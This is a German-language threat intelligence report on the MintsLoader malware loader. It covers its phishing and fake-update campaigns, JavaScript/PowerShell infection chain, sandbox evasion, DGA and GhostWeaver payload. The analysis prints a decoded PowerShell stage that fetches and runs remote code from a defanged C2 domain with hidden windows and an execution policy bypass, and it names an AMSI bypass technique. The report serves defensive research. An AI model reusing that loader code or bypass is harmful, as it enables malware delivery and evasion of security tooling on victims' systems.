Aufdeckung von MintsLoader mit der Malware-Intelligence-Jagd von Recorded Future
Executive Summary
MintsLoader, ein bösartiger Loader, wurde erstmals in mehreren Phishing- und Drive-by-Download-Kampagnen bereits im Jahr 2024 beobachtet. Der Loader setzt üblicherweise Nutzlasten der zweiten Stufe ein, wie GhostWeaver, StealC und einen modifizierten BOINC (Berkeley Open Infrastructure for Network Computing) Client. MintsLoader arbeitet über eine mehrstufige Infektionskette, die verschleierte JavaScript- und PowerShell-Skripte umfasst. Die Malware nutzt Sandbox- und Virtual-Machine-Evasion-Techniken, einen Domain-Generierungsalgorithmus (DGA) und HTTP-basierte Command-and-Control-Kommunikation (C2).
MintsLoader wurde von verschiedenen Bedrohungsgruppen beobachtet; jedoch haben die Betreiber von TAG-124 (auch bekannt als LandUpdate808) es intensiv genutzt. Der Loader wird über mehrere Infektionsvektoren bereitgestellt, darunter Phishing-E-Mails, die auf die Industrie-, Rechts- und Energiesektoren abzielen (TAG-124); kompromittierte Websites, die sich als Browser-Update-Aufforderungen ausgeben (SocGholish); und als Rechnungen getarnet Köder, die über das italienische PEC-zertifizierte E-Mail-System verteilt werden.
MintsLoaders Einsatz von Verschleierungstechniken erschwert statische Erkennungen wie YARA-Regeln; die Nutzung einer DGA-basierten C2-Infrastruktur erschwert die Pflege aktueller Beobachtungs- oder Blocklisten; und die Anti-Analyse-Techniken erschweren hostbasierte Erkennungen, die auf Sandboxen oder Virtualisierung beruhen. Aber das Malware-Intelligence-Hunting von Recorded Future identifiziert neue MintsLoader-Samples und zugehörige C2-Domains und stellt eine aktuelle Liste für Blocklisten oder die Bedrohungssuche bereit.
Die hartnäckige Nutzung von Verschleierung, Sandbox-Umgehung und anpassungsfähiger Infrastruktur durch MintsLoader sorgt wahrscheinlich dafür, dass es weiterhin im Malware-Ökosystem präsent bleibt und von weiteren Bedrohungsakteuren verstärkt genutzt wird. Die Rolle der Malware als vielseitiger Übertragungsmechanismus spiegelt die zunehmende Professionalisierung und Spezialisierung innerhalb der Cyberkriminalitätsgemeinschaft wider. Während diese zunehmende Raffinesse den Bedrohungsakteuren zugutekommt, indem sie widerstandsfähigere und effizientere Operationen ermöglicht, kann sie gleichzeitig Verteidigern die Möglichkeit bieten, bösartige Aktivitäten effektiver und in größerem Umfang zu identifizieren und zu unterbrechen.
Wichtige Erkenntnisse
- Das PowerShell-Skript der zweiten Stufe von MintsLoader verwendet Techniken zur Umgehung von Sandboxen und virtuellen Umgebungen, wodurch seine Anfälligkeit für automatische Analysen verringert wird und die Wahrscheinlichkeit steigt, dass es dynamische Erkennungstools umgeht.
- Die Verwendung eines DGA durch MintsLoader zur täglichen Generierung von C2-Domains basierend auf dem Systemdatum erschwert die Überwachung der Infrastruktur sowie die Erkennung von Domänen/IPs.
- Malware Intelligence Hunting von Recorded Future bietet aktuelle C2-Domains und andere Artefakte im Zusammenhang mit MintsLoader, die sonst aufgrund ihrer dynamischen Infrastruktur schwer zu verfolgen wären.
- Die Insikt Group zeigt, dass GhostWeaver die primäre Nutzlast ist, die von MintsLoader in den beobachteten Kampagnen eingesetzt wird.
- Die selbstsignierten X.509-Zertifikate von GhostWeaver ähneln denen von AsyncRAT und dessen Varianten, was anfänglich zu falschen Assoziationen mit anderen Malware-Familien wie AsyncRAT führte.
Hintergrund
Orange Cyberdefense entdeckte MintsLoader erstmals zwischen Juli und Oktober 2024 in weit verbreiteten Verteilungskampagnen. Die Insikt Group identifizierte frühere Kampagnen im Februar 2024, basierend auf der Unit42-Analyse einer SocGholish-Infektion von Palo Alto.
Der Loader besteht aus JavaScript- (Phase eins) und PowerShell-Skripts (Phase zwei), die von mehreren DGA-basierten Domänen abgerufen werden. Der Name "MintsLoader" leitet sich von der charakteristischen Verwendung des URL-Parameters s=mints[NUMBER] ab (z. B. s=mints11). MintsLoader wird in der Regel in Kampagnen beobachtet , die sekundäre Nutzlasten wie GhostWeaver, StealC und den Berkeley Open Infrastructure for Network Computing (BOINC)-Client bereitstellen.
Während angenommen wird, dass MintsLoader von mehreren Bedrohungsakteuren verwendet wird, wurden TAG-124-Infektionen (auch bekannt als LandUpdate808) häufig beim Einsatz von MintsLoader beobachtet. Darüber hinaus waren Bedrohungsakteure, die SocGholish verwendeten, frühe Anwender von MintsLoader, was dazu führte, dass MintsLoader-Kampagnen zunächst als ausschließlich mit SocGholish verbunden eingestuft wurden. So veröffentlichte beispielsweise Unit42 in Palo Alto im Februar 2024 Indikatoren, die mit SocGholish verknüpft sind (Abbildung 2); Die Analyse der Insikt Group zeigt jedoch, dass die URLs, die als AsyncRAT identifiziert wurden, auch mit bekannten MintsLoader-URL-Mustern übereinstimmen.
In ähnlicher Weise meldete Huntress Labs im Juli 2024 eine SocGholish-Infektion, bei der ein BOINC-Client ausgeliefert wurde. Insbesondere stimmt die URL, die zum Herunterladen des BOINC verwendet wird, mit bekannten MintsLoader-URL-Mustern überein. Abbildung 3 zeigt eine allgemeine Übersicht über die Bedrohungsakteure, die MintsLoader verwenden.
Nachfolgend finden Sie die kürzlich gemeldeten Kampagnen, bei denen MintsLoader eine Rolle spielt.
MintsLoader- und Kongtuke/ClickFix-Seiten
Anfang 2025 beobachteten Sicherheitsanalysten eine Phishing-Kampagne, bei der MintsLoader als Loader der ersten Stufe ausgeliefert wurde. Phishing-E-Mails (die auf den Energie-, Öl- und Gas- sowie Rechtssektor in den USA und Europa abzielten) enthielten entweder einen bösartigen JavaScript-Anhang oder einen Link zu einer gefälschten "Click to verify"-Webseite. Abbildung 4 zeigt Beispiele für ClickFix-Seiten.
In beiden Fällen war das Ergebnis die Ausführung der PowerShell-basierten zweiten Stufe von MintsLoader auf dem Computer des Opfers. Dieser Loader zog die endgültigen Nutzlasten herunter, insbesondere den StealC-Infostealer und einen modifizierten BOINC-Client-Build. Die Kampagne nutzte gefälschte CAPTCHA-Verifizierungsseiten (ClickFix/KongTuke-Köder), um Benutzer dazu zu verleiten, einen kopierten PowerShell-Befehl auszuführen, der MintsLoader herunterlud und ausführte (Abbildung 5).
Andere Infektionsketten in dieser Kampagne lieferten MintsLoader über eine heruntergeladene 'Fattura########.js -Datei (italienisch für "Rechnung"), die die Opfer öffneten, was zur gleichen Ausführung des PowerShell-Loaders führte. Forscher der Threat Response Unit von eSentire berichteten über diese Kampagne und stellten fest, dass sich die Bedrohungsakteure auf Ziele in der Industrie und im Bereich der professionellen Dienstleistungen in Nordamerika und Europa konzentrieren.
SocGholish „FakeUpdates“-Kampagnen
Mehrere Berichte deuten darauf hin (1, 2), dass die Bedrohungsakteure von SocGholish (FakeUpdates) MintsLoader in ihre Operationen integriert haben. Ab etwa Juli 2024 zeigten SocGholish-Infektionen von kompromittierten Websites Infektionsketten, die den BOINC-distributed computing-Client über MintsLoader installierten.
In dieser Drive-by-Kampagne, die in Abbildung 6 gezeigt wird, stießen Opfer, die legitime, aber kompromittierte Websites besuchten, auf gefälschte Browser-Update-Aufforderungen (die oft von einem update.js-Skript stammten). Wenn es ausgeführt wird, lädt das bösartige JavaScript eine verschleierte MintsLoader-Nutzlast herunter, die eine mehrstufige PowerShell-Sequenz startet.
Huntress Labs dokumentierte zwei parallele Ergebnisse: Ein Zweig führte zu einem dateilosen AsyncRAT, das im Speicher ausgeführt wird, während der andere zu einer heimlichen BOINC-Installation unter der Kontrolle des Angreifers führte. Die BOINC-Bereitstellung wurde erheblich modifiziert und so konfiguriert, dass sie eine Verbindung zu einem bösartigen C2-Server herstellt, anstatt zum Standard-BOINC-Server.
In einigen Fällen wurde auch die GhostWeaver PowerShell-Backdoor (von Mandiant als UNC4108 getrackt) über MintsLoader ausgeliefert und bot Angreifern ein dauerhaftes Standbein und eine Plattform, um zusätzliche Plugins zu laden.
Rechnungs-Phishing in Europa
Eine weitere MintsLoader-Kampagne Ende 2024 zielte über Phishing-E-Mails zum Thema Rechnung auf europäische Unternehmen ab, wie ein Beispiel dafür in Abbildung 7 dargestellt ist. Spam-Nachrichten nutzten das italienische PEC-System (zertifizierte E-Mail), um die Legitimität zu erhöhen, und verleiteten die Empfänger dazu, angehängte JavaScript-Dateien zu öffnen, die sich als Rechnungen tarnten. Das Spamhaus-Forschungsteam bezeichnete dies als "PEC-Rechnungsbetrug" und hob hervor, wie die Angreifer vertrauenswürdige E-Mail-Kanäle missbrauchten, um Sicherheitsüberprüfungen zu umgehen. Diese Kampagne wurde dafür kritisiert, "Zeit, Geld und Vertrauen von Unternehmen zu stehlen".
Technische Analyse
MintsLoader verwendet eine mehrstufige Ausführungskette, die JavaScript und PowerShell einbezieht, wobei jede Stufe Verschleierung einsetzt, um die Analyse zu behindern. Obwohl MintsLoader ausschließlich als Loader ohne zusätzliche Funktionen arbeitet, liegen seine Hauptstärken in seinen Techniken zur Umgehung von Sandboxen und virtuellen Maschinen sowie in einer DGA-Implementierung, die die C2-Domäne basierend auf dem Tag ableitet, an dem sie ausgeführt wird. Diese Funktionen erschweren die statische Analyse und die hostbasierte Erkennung erheblich. Trotzdem erfolgt die C2-Kommunikation über HTTP, was einen zuverlässigen Vektor zur Erkennung und Identifizierung neuer Proben bietet. Abbildung 8 bietet die übergeordneten Funktionen von MintsLoader.
Diese Analyse von MintsLoader umfasst Details zu den Nutzlasten der ersten und zweiten Stufe sowie zur Infrastruktur von MintsLoader.
MintsLoader-Angriffskette
MintsLoader wird häufig über Phishing-E-Mails verbreitet, die Links zu KongTuke- oder ClickFix-Seiten enthalten. Wenn diese Seiten ausgeführt werden, rufen sie die erste Stufe von JavaScript ab und führen sie aus. Das JavaScript ist stark verschleiert, und die Ausführung führt zur Ausführung eines PowerShell-Befehls, um die zweite Stufe von MintsLoader herunterzuladen und auszuführen, wie in Abbildung 9 gezeigt.
In dieser zweiten Stufe werden Umgebungsprüfungen durchgeführt, um festzustellen, ob sie in einer Sandbox oder einer virtualisierten Umgebung ausgeführt wird. Als Nächstes verwendet das Skript eine DGA, um die nächste C2-Domain zu erzeugen. MintsLoader versucht dann, die generierte Domain zu kontaktieren, um die endgültige Nutzlast herunterzuladen, wie GhostWeaver, StealC oder den BOINC-Client. Abbildung 10 zeigt einen Überblick auf hoher Ebene über diese Angriffskette.
Stufe Eins: JavaScript
Die anfängliche Stufe von MintsLoader besteht aus einer JavaScript-Datei, die einen PowerShell-Befehl ausführt, um die zweite Stufe abzurufen. Das Skript ist stark verschleiert durch Junk-Kommentare, nicht lesbare Variablen- und Funktionsnamen, Zeichenersetzungen und String-Kodierung (Abbildung 11). Die Insikt Group fand 141 MintsLoader-Proben der ersten Stufe anhand von Daten aus dem Recorded Future Malware Intelligence Hunting (Anhang A).
Die Kernfunktion der JavaScript-Nutzlast der ersten Phase besteht darin, einen PowerShell-Befehl auszuführen, der den Befehl "curl -useb http://[domain]/1.php?s=[campaign]" ausführt, der die zweite Phase herunterlädt und ausführt. Wenn 'curl' in PowerShell mit der Option '-useb' verwendet wird, handelt es sich um einen Alias für Invoke-WebRequest, und das Programm cURL wird nicht wirklich verwendet, um die HTTP-Anfrage zu stellen.
Die Insikt Group hat drei verschiedene Versionen des Stage-One-Loaders identifiziert, die alle dieselben JavaScript-Verschleierungstechniken verwenden, sich jedoch in der Implementierung der eingesetzten PowerShell unterscheiden.
Die erste Variante führt den PowerShell-Befehl im Klartext aus, wobei die C2-Domäne fest codiert ist, wie in Abbildung 12 gezeigt. Diese Variante ist in den Kampagnen „mints13“ und „flibabc11“ zu sehen.
In der zweiten Variante wird der PowerShell-Befehl durch Zeichenersetzung verschleiert. Die C2-Domäne ist weiterhin fest kodiert, und es wird stattdessen ein Alias für den Befehl curl verwendet, aber das Ziel bleibt, die nächste Stufe herunterzuladen (Abbildung 13). Dies ist die am häufigsten verwendete Variante in den Kampagnen: „flibabc21“, „flibabc22“, „mints11“, „mints13“, „mints21“ und „mints42“.
Die dritte Variante kodiert den Befehl in Base64 (Abbildung 14). Die Insikt Group hat diese Methode bei der älteren Kampagne „mints13“ gesichtet.
In dieser Version erstellt der PowerShell-Befehl jedoch eine Datei, die den PowerShell-Befehl zum Herunterladen der zweiten Stufe über cURL enthält. Anschließend wird die Datei ausgeführt und dann gelöscht.
$randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_ });
$currentTimeHour = [int](Get-Date -Format HH);
$currentTimeMinute = [int](Get-Date -Format mm);
$minuteAdjustment = 3;
If ($currentTimeMinute + $minuteAdjustment -gt 59) {
$currentTimeHour = $currentTimeHour + 1;
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60;
} Else {
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment;
};
$currentTimeHour = If (([int](Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour };
$randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ });
$scriptToExecute = @"
$ErrorActionPreference = "Continue"
curl -useb "http://gibuzuy37v2v\[.]top/1.php?s=mints13" | iex;
Remove-Item "C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force
"@;
"powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File -FilePath "C:\Users\Public\Documents\$($randomNamePart2).ps1";
powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File "C:\Users\Public\Documents\$($randomNamePart2).ps1";
Remove-Item "$env:APPDATA\*.ps1" -Force
Remove-Item "$env:APPDATA\*.bat" -Force
Tabelle 1: Dekodierter Base64-Text der ersten PowerShell-Stufe (Quelle: Recorded Future)
Stufe Eins C2-Kommunikation
Die Ausführung einer beliebigen Variante führt zu einer HTTP GET-Anfrage an die fest kodierte Domain, um die Nutzlast der zweiten Stufe abzurufen. Eine erfolgreiche Anforderung wird das in Abbildung 15 gezeigte PowerShell-Skript abrufen und ausführen.
Wenn die DGA-Domain nicht mehr gültig ist, wird eine 302-Antwort zurückgegeben, wie in Abbildung 16 gezeigt.
Stufe zwei: PowerShell
Die zweite Phase, PowerShell, enthält eine Base64-kodierte Zeichenfolge. Nach der XOR-Dekodierung und Dekomprimierung wird die primäre Nutzlast, die ebenfalls verschleiert ist, ausgegeben. Abbildung 17 zeigt einen Ausschnitt dieser Nutzlast, der die Techniken von MintsLoader zur Verschleierung von Zeichenketten veranschaulicht.
Nach der anfänglichen Entschleierung und Decodierung beginnt die zweite Phase von PowerShell mit dem Versuch, die Antischadsoftware-Scanschnittstelle (AMSI) mithilfe einer bekannten Technik zu umgehen, um AMSI-Initialisierungsfehler vorzutäuschen: Festlegen der Variablen amsiInitFailed des System.Management.Automation.AmsiUtils-Objekts auf TRUE.
Der restliche Code ist für die Ausführung von drei Systeminformationsabfragen verantwortlich: die Rückgabewerte, die in logischen Ausdrücken verwendet werden, um zu erkennen, ob das System auf Bare Metal, in einer Sandbox oder auf einer virtuellen Maschine ausgeführt wird. Dies wird dem C2 über eine Ganzzahlvariable übermittelt, die als URL-Parameterschlüssel gesendet wird, und der C2 prüft ihren Wert, um festzustellen, ob seine Antwort eine dritte Stufe zurückgibt, die die endgültige Nutzlast oder einen Köder herunterlädt. Es ist zu beachten, dass sich die konstanten Ganzzahlwerte, die zum Inkrementieren der Schlüsselvariablen verwendet werden, mit jeder Stichprobe der zweiten Stufe ändern.
Das Ergebnis jeder Systeminformationsabfrage wird anhand von drei logischen Ausdrücken überprüft, deren Reihenfolge je nach Stichprobe variiert, zusammen mit Konstanten, die den Schlüssel inkrementieren, deren Ergebnisse sich auf den Wert der Schlüsselvariablen auswirken. Die logischen Ausdrücke liefern bei der ersten Überprüfung möglicherweise keine offensichtlichen Ergebnisse. Wenn z. B. die erste entschleierte Systemprüfung, die unten in Abbildung 18 dargestellt ist, auf einem virtuellen Computer ausgeführt wird, wäre die Variable $isVirtualMachine gleich $true. Der logische Ausdruck "$true -eq 3" wird in PowerShell als $true ausgewertet, wobei der Schlüssel um 15310805757 statt um 83670406277 erhöht wird.
Bei der zweiten Systemüberprüfung wird der AdapterDACType-Member des Win32_VideoController WMI-Objekts abgefragt, um den Namen oder Bezeichner des DAC-Chips (Digital-Analog-Wandler) abzurufen, wie in Abbildung 19 dargestellt. Dadurch wird festgestellt, ob das infizierte System auf einem Emulator oder virtuell ausgeführt wird. In der Regel gibt ein Windows-System "Intern" und/oder "Integrierter RAMDAC" zurück, wodurch der Schlüssel in diesem Beispiel um 14467965888 erhöht wird.
Bei der dritten Systemüberprüfung wird der Zweckmember des Win32_CacheMemory WMI-Objekts abgefragt, der auf einem typischen Windows-System "L1-Cache" entspricht. Der nicht offensichtliche logische Ausdruck "$l 1CachePurpose.length —gt 4" wird im optimalen Fall ausgeführt, wobei der Schlüsselwert im entschleierten Beispiel in Abbildung 20 um 27424330481 erhöht wird.
Nach der Systemprüfung und der Berechnung des Schlüssels wird ein zufälliger Startwert auf der Grundlage des Datums und einer Konstante generiert, der mit einem System verwendet wird. Zufälliges Objekt zum Erstellen der Domäne mithilfe einer einfachen DGA und des URL-Pfads, wie in Abbildung 21 dargestellt. Möglicherweise hat der Autor einen Fehler gemacht, indem er die zweite zufällige Variable nicht zum Erstellen des URL-Pfads verwendet hat. Stattdessen verwenden sie eine undefinierte Variable für das Ende des URL-Pfads, sodass der URL-Pfad mit einer Konstante "htr.php" endet. Beachten Sie, dass curl in PowerShell ein Alias für Invoke-WebRequest ist, der zum Generieren der Anforderung an den C2 für die dritte Phase verwendet wird, sodass der User-Agent-HTTP-Header PowerShell-Versionsinformationen und nicht curl enthält.
Stufe Zwei C2-Kommunikation
Abbildung 22 zeigt ein Beispiel für eine MintsLoader-Anforderung für die endgültige Nutzlast mit einem URL-Pfad, der auf htr.php endet. Der URL-Parameter id ist der Hostname und der URL-Parameter s ist die Kampagnen-ID.
Ein Beispiel für eine frühere MintsLoader-Anfrage für die dritte Stufe ist in Abbildung 23 dargestellt, wobei der URL-Pfad nicht randomisiert, sondern die konstante Zeichenfolge „2.php“ verwendet wird.
Wenn die Anforderung der zweiten Stufe bestimmte Anforderungen nicht erfüllt, kann die endgültige Nutzlast zu einer ausführbaren Köderdatei führen (Abbildung 24), wie in diesem Beispiel, was zu einer ausführbaren AsyncRAT-Köderdatei führt, die von der Website temp[.] pst. Diese Assoziation mit AsyncRAT führte dazu, dass AsyncRAT in Berichten und einige Gegenmaßnahmen für den Netzwerkverkehr zunächst als "AsyncRAT Loader" bezeichnet wurden, was dazu führte, dass MintsLoader-Malware-Samples fälschlicherweise als AsyncRAT gekennzeichnet wurden, obwohl aktuelle MintsLoader-Kampagnen AsyncRAT nicht bereitstellen.
Ein kürzlich erfolgreicher Versuch wird in Abbildung 25 gezeigt; in diesem Beispiel ist die endgültige Nutzlast GhostWeaver.
GhostWeaver
Eine der am häufigsten beobachteten Nutzlasten, die von MintsLoader bereitgestellt werden, ist GhostWeaver, ein PowerShell-basierter Remote-Access-Trojaner (RAT), der Codeähnlichkeiten und funktionale Überschneidungen mit MintsLoader aufweist. Insbesondere kann GhostWeaver MintsLoader über den Befehl sendPlugin als zusätzliche Nutzlast bereitstellen . Die Kommunikation zwischen GhostWeaver und seinem Command-and-Control-Server (C2) wird durch TLS-Verschlüsselung mit einem verschleierten, selbstsignierten X.509-Zertifikat gesichert, das direkt in das PowerShell-Skript eingebettet ist und für die clientseitige Authentifizierung bei der C2-Infrastruktur genutzt wird.
GhostWeaver wurde regelmäßig fälschlicherweise als AsyncRAT klassifiziert. Die Insikt Group geht davon aus, dass diese Fehlklassifizierung darauf zurückzuführen ist, dass Palo Alto Networks eine GhostWeaver-Stichprobe ( SHA256: fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765) ursprünglich als dateilose AsyncRAT-Variante identifiziert hat. GhostWeaver und AsyncRAT haben bestimmte Merkmale in ihren selbstsignierten X.509-Zertifikaten gemeinsam, wie z. B. identische Ablaufdaten und Seriennummernlängen. Diese Ähnlichkeiten können jedoch lediglich auf gemeinsame Methoden zur Zertifikatserstellungsmethode und nicht auf sinnvolle betriebliche Überschneidungen zurückzuführen sein.
MintsLoader-Infrastruktur
Die Insikt Group stellte zunächst fest, dass die MintsLoader C2-Server ausschließlich auf BLNWX gehostet wurden, beobachtete jedoch später eine zunehmende Nutzung anderer ISPs wie Stark Industries Solutions Ltd (AS44477), GWY IT Pty Ltd (AS199959) oder SCALAXY-AS (58061) und andere. Die über SCALAXY-AS angekündigten MintsLoader C2-IP-Adressen werden von den Hosting-Anbietern 3NT Solutions LLP und IROKO Networks Corporation betrieben, die beide Teil des russischsprachigen Bulletproof-Hosting-Anbieters Inferno Solutions (inferno[.]name) sind. Der Wechsel zu SCALAXY-AS und Stark Industries Solutions deutet darauf hin, dass die Betreiber von MintsLoader von der Nutzung anonymer virtueller privater Server (VPS) zu traditionelleren, kugelsicheren Hostern übergegangen sind, wahrscheinlich um ihre Infrastruktur gegen Abschaltversuche zu schützen und die betriebliche Stabilität zu erhöhen.
In den vergangenen Monaten hat die Insikt Group eine Reihe von mutmaßlichen zusätzlichen Kampagnen-IDs und Nutzlasten identifiziert (Tabelle 2). Diese Daten stammen aus offenen Forschungsquellen und der internen Forschung der Insikt Group.
Tabelle 2: Verdächtige MintsLoader-Kampagnen-IDs (Quelle: Recorded Future)
Im Jahr 2023 wurden zwei weitere potenzielle Kampagnen-IDs, js2 und dav, beobachtet, wobei js2 bei einer AsyncRAT-Infektion identifiziert wurde .
Um die gesamte Analyse zu lesen, klicken Sie hier, um den Bericht als PDF herunterzuladen.